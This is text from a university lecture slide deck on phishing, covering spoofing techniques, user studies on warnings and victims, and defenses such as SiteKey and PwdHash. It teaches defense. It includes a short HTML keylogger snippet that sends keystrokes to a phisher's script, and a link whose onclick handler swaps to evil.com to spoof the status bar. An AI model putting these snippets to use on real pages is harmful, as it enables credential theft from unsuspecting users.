Phishing

Vitaly Shmatikov
Global losses from phishing in 2012 estimated at $1.5 Billion

Source: RSA Fraud Report
Welcome to MillerSmiles.co.uk! We are one of the internet's leading anti-phishing sites, maintaining a massive archive of phishing and identity theft email scams.

We are currently storing all phishing scam reports with our Honeytrap database which is now available for commercial license. This database currently holds 2524305 reports.

Our honeytrap network is now automatically parsing and storing scams. Please contact us for more details. Visitors from the United States may like to see our opening hours website.

We also run a news service (headlines below) which brings you all the latest headlines from the world of fraudulent emails and phishing.

Visitors may like to take a look at our Opening Times directory for the UK.

Latest Phishing News Headlines:

- If you're looking for specific information on fraud email scams and phishing, then check out our latest scam reports listed on the right.

Thursday 23rd January 2014

- Barclays Bank 22nd January 2014
- You Have One Unread Message
- Service@paypal.co.uk 21st January 2014
- ONLINE ACCESS HAS BEEN SUSPENDED
- Barclays Bank 21st January 2014
- You Have One Unread Message
- Google Docs noreply@google.com 21st January 2014
- ORIGINAL DOCUMENTS!!....
- ebilling@bt.com 20th January 2014
- Important Information About Your BT account (cell 13)
- PayPal.com 20th January 2014
- ACCOUNT VALIDATION
- Bank of America Alert 20th January 2014
- Bank of America Alert: That's New Required Verification Process From Bank of America
A Snapshot of My Mailbox

service@paypal.com
A Closer Look

From: “Wells Fargo” <aw-updateWells.Fargo.com@abm-tech.com>

What you’ll see on the page

Where the link actually goes

<a target="_blank" href="http://www.members.axion.net/~rod/.Wells.Fargo.com” >
https://online.wellsfargo.com/signon?LOB=CONS</a>
And You End Up Here
Thank Goodness for IE 😊
Typical Properties of Spoofed Sites

- Show logos found on the honest site
  - Copied image files or links to the honest site
- Have suspicious URLs
- Ask for user input
  - Debit card number, SSN, mother’s maiden name, ...
- HTML copied from the honest site
  - May contain links to the honest site
  - May contain revealing mistakes
- Short-lived (cannot effectively blacklist)
  - Often hosted on compromised zombie machines
A Typical Phishing Page

- Weird URL
- http instead of https
Phishing Techniques

◆ Use confusing URLs

◆ Use URL with multiple redirection

◆ Host phishing sites on botnet zombies
  • Move from bot to bot using dynamic DNS

◆ Pharming
  • Poison DNS tables so that address typed by victim (e.g., www.paypal.com) points to the phishing site
  • URL checking doesn’t help!
Trusted Input Path Problem

- Users are easily tricked into entering passwords into insecure non-password fields

```html
<input type="text" name="spoof" onKeyPress="(new Image()).src='keylogger.php?key=' + String.fromCharCode( event.keyCode ); event.keyCode = 183;" />
```

Sends keystroke to phisher

Changes character to *
Social Engineering Tricks

- Create a bank page advertising an interest rate slightly higher than any real bank; ask users for their credentials to initiate money transfer
  - Some victims provided their bank account numbers to “Flintstone National Bank” of “Bedrock, Colorado”

- Exploit social relationships
  - Spoof an email from a Facebook friend
  - In a West Point experiment, 80% of cadets were deceived into following an embedded link regarding their grade report from a fictitious colonel
Facebook Phishing (January 2012)

- Attack steals Facebook credentials
- Changes profile picture of compromised account to Facebook Security and the name to “Facebook Security”
  - Notice anything?
- Sends a message to all contacts:

http://www.securelist.com/en/blog/208193325/Facebook_Security_Phishing_Attack_In_The_Wild
“Payment Verification”

http://www.securelist.com/en/blog/208193325/Facebook_Security_Phishing_Attack_In_The_Wild
Experiments at Indiana U. (2006)

- Reconstructed the social network by crawling sites like Facebook, MySpace, LinkedIn
- Sent 921 Indiana University students a spoofed email that appeared to come from their friend
- Email redirected to a spoofed site inviting the user to enter his/her secure university credentials
  - Domain name clearly distinct from indiana.edu
- 72% of students entered their real credentials into the spoofed site (most within first 12 hrs)
  - Males more likely to do this if email is from a female

[Jagatic et al.]
Who Are The Biggest Suckers? 

[Jagatic et al.]
Seven Stages of Grief

[according to Elizabeth Kübler-Ross]

- Shock or disbelief
- Denial
- Bargaining
- Guilt
- Anger
- Depression
- Acceptance
Victims’ Reactions (1)

◆ Anger

• Subjects called the experiment unethical, inappropriate, illegal, unprofessional, fraudulent, self-serving, useless

• They called for the researchers conducting the study to be fired, prosecuted, expelled, or reprimanded

◆ Denial

• No posted comments included an admission that the writer had fallen victim to the attack

• Many posts stated that the poster did not and would never fall for such an attack, and they were speaking on behalf of friends who had been phished

[Jagatic et al.]
Victims’ Reactions (2)

◆ Misunderstanding
  - Many subjects were convinced that the experimenters hacked into their email accounts - they believed it was the only possible explanation for the spoofed messages.

◆ Underestimation of privacy risks
  - Many subjects didn’t understand how the researchers obtained information about their friends, and assumed that the researchers accessed their address books.
  - Others, understanding that the information was mined from social network sites, objected that their privacy had been violated by the researchers who accessed the information that they had posted online.

[Jagatic et al.]
Safe to Type Your Password?
Safe to Type Your Password?

Bank of the West Phishing Page - Mozilla Firefox

http://attacker.com/login

Bank of the West

Gives me you pa55w0rds!

User name: 

Password: 

Login
Safe to Type Your Password?
Safe to Type Your Password?
Picture-in-Picture Attacks

Trained users are more likely to fall victim to this!
Status Bar Is Trivially Spoofable

<a href="http://www.paypal.com/"
onclick="this.href = 'http://www.evil.com/';">
PayPal</a>
Site Defense #1: PassMark / SiteKey

If you don’t recognize your personalized SiteKey, don’t enter your Passcode.
Site Defense #2: PIN Guard

Use your mouse to click the number, or use your keyboard to type the letters.
Site Defense #2A: Scramble Pad

Enter access code by typing letters from randomly generated Scramble Pad
Site Defense #3: Virtual Keyboard

Use your mouse to select characters from the virtual keyboard.
Site Defense #4: Bharosa Slider

On first login, user picks a symbol. On subsequent logins all letters and numbers in the PIN must be chosen using correct symbol.
Anti-Phishing Features in IE7
Are Phishing Warnings Effective? [Egelman et al.]

- CMU study of 60 users
- Asked to make eBay and Amazon purchases
- All were sent phishing messages in addition to the real purchase confirmations
- Goal: compare **active** and **passive** warnings
  - Passive (IE): address bar changes color, pop-up box tells the user that the site is suspicious
  - Active (IE): full-screen warning, must click on “Continue to this website (not recommended)” to get to site
  - Active (Firefox): “Reported Web forgery” dialog, must click on “Ignore this warning” to get to site
Active vs. Passive Warnings

Active warnings significantly more effective

- Passive (IE): 100% clicked, 90% phished
- Active (IE): 95% clicked, 45% phished
- Active (Firefox): 100% clicked, 0% phished

[Egelman et al.]
Users’ Mental Model

- Phishing email said the order will be canceled unless the user clicks on the URL
- Most participants heeded the warnings and left the phishing websites, but…
  ... 32% of them believed that their orders will be canceled as a result!
- 25 participants were asked how the emails with fraudulent URLs arrived to them
  ... only 3 recognized that they were sent by someone not affiliated with eBay or Amazon
Some fail to notice warnings entirely

- Passive warning takes a couple of seconds to appear; if user starts typing, his keystrokes dismiss the warning

Some saw the warning, closed the window, went back to email, clicked links again, were presented with the same warnings... repeated 4-5 times

- Conclusion: “website is not working”
- Users never bothered to read the warnings, but were still prevented from visiting the phishing site
- Active warnings work!
Do Users Understand Warnings?

- 57% correctly said that warnings have something to do with giving information to fraudulent sites.
- The rest had a wide variety of misconceptions:
  - “Someone got my password”
  - “It was not very serious like most window warnings”
  - “There was a lot of security because the items were cheap and because they were international”
  ...
  - Or simply did not see the warning long enough to have any idea.

[Egelman et al.]
Why Do Users Ignore Warnings?

- Don’t trust the warning
  - “Since it gave me the option of still proceeding to the website, I figured it couldn’t be that bad”

- Ignore warning because it’s familiar (IE users)
  - “Oh, I always ignore those”
  - “Looked like warnings I see at work which I know to ignore”
  - “I thought that the warnings were some usual ones displayed by IE”
  - “My own PC constantly bombards me with similar messages”
Misplaced Trust

- Ignore warnings because of trust in the brands (eBay and Amazon) spoofed in phishing messages
- Incorrectly trust the phishing website
  - Ignore warning “because I trust the website that I am doing the online purchase at”
- Misunderstand security context... even after examining URL bar and email headers
  - “The address in the browser was of amazonaccounts.com which is a genuine address”
Password Phishing Problem

- User cannot reliably identify spoofed sites
- Captured password can be used at target site
PwdHash

- Generate a unique password per site
  - HMAC(fido:123, banka.com) ⇒ Q7a+0ekEXb
  - HMAC(fido:123, siteb.com) ⇒ OzX2+ICiqc

- Hashed password is not usable at any other site
How PwdHash Works

- Install the free plug-in
- Activate it by adding @@ before the password
- Can also go to a remote site (www.pwdhash.com) which will generate password for you
- From then on, user doesn’t know the “real” password; instead, PwdHash automatically produces site-specific passwords
  - If user types password at a phishing site, the site’s address will be used as the password “salt”
  - Resulting password is unusable at the real site
PwdHash Summary

@@ in front of passwords to protect; or F2

sitePwd = func(pwd, domain)

Prevent phishing attacks
Usability Study at Carleton U. [Chiasson, van Oorschot, Biddle]

- 27 students (none in computer security)
- 73% use online banking and bill payments
- 96% reuse passwords on different sites
- 69% choose passwords so that they are easy to remember
- 85% at least somewhat concerned about the security of passwords
- All fairly comfortable with using computers
Typical Password Activities

- Users were given several simple tasks
  - Log in with a protected password for the first time
  - Switch from an unprotected to protected password
  - Log in from a computer that doesn’t have the plug-in
  - Update protected password
  - Log in with a protected password for the second time

- These had to be performed on popular sites such as Hotmail, Google, Amazon, and Blogger
Results

◆ Only one task had a success rate above 50% (log in with protected password for the 2\textsuperscript{nd} time)
  • Update protected password: 19%; remote login: 27%

◆ Many users felt they had successfully completed the task when in reality they had not
  • For example, mistakenly thought they switched to a protected password and then logged in with it (in reality, were logging in with unprotected password)

◆ Many successes were due to participants trying random actions until eventually something worked
Problem: Mental Model

- Not understand that one needs to put @@ in front of each password to be protected
- When updating password, fail to realize that need to type @@ in front of the password when re-typing it for reconfirmation
- Think different passwords are generated for different sessions
- Think passwords are unique to them
Remote Login Troubles

◆ For remote login, must first go to a site that hashes passwords using domain name as “salt”...

◆ Typical questions from users:
  • “How will it know to generate my password?”
  • “How does it know who I am?”
  • “Wait, it’s going to give anyone who enters my regular password the same complicated password? Not good!”
Of those who failed to log in remotely (31%),
most never even reached the remote password generation site.

Although told explicitly that “you are now at your friend’s house, they don’t have the software installed”, they still tried to log in using @@.

With half a page of instructions directly in front of them, they tended not to refer to it:
- Half entered their passwords with @@, half without.

Only one user read instructions on remote site.
Best User Quote

“Really, I don’t see how my password is safer because of two @’s in front”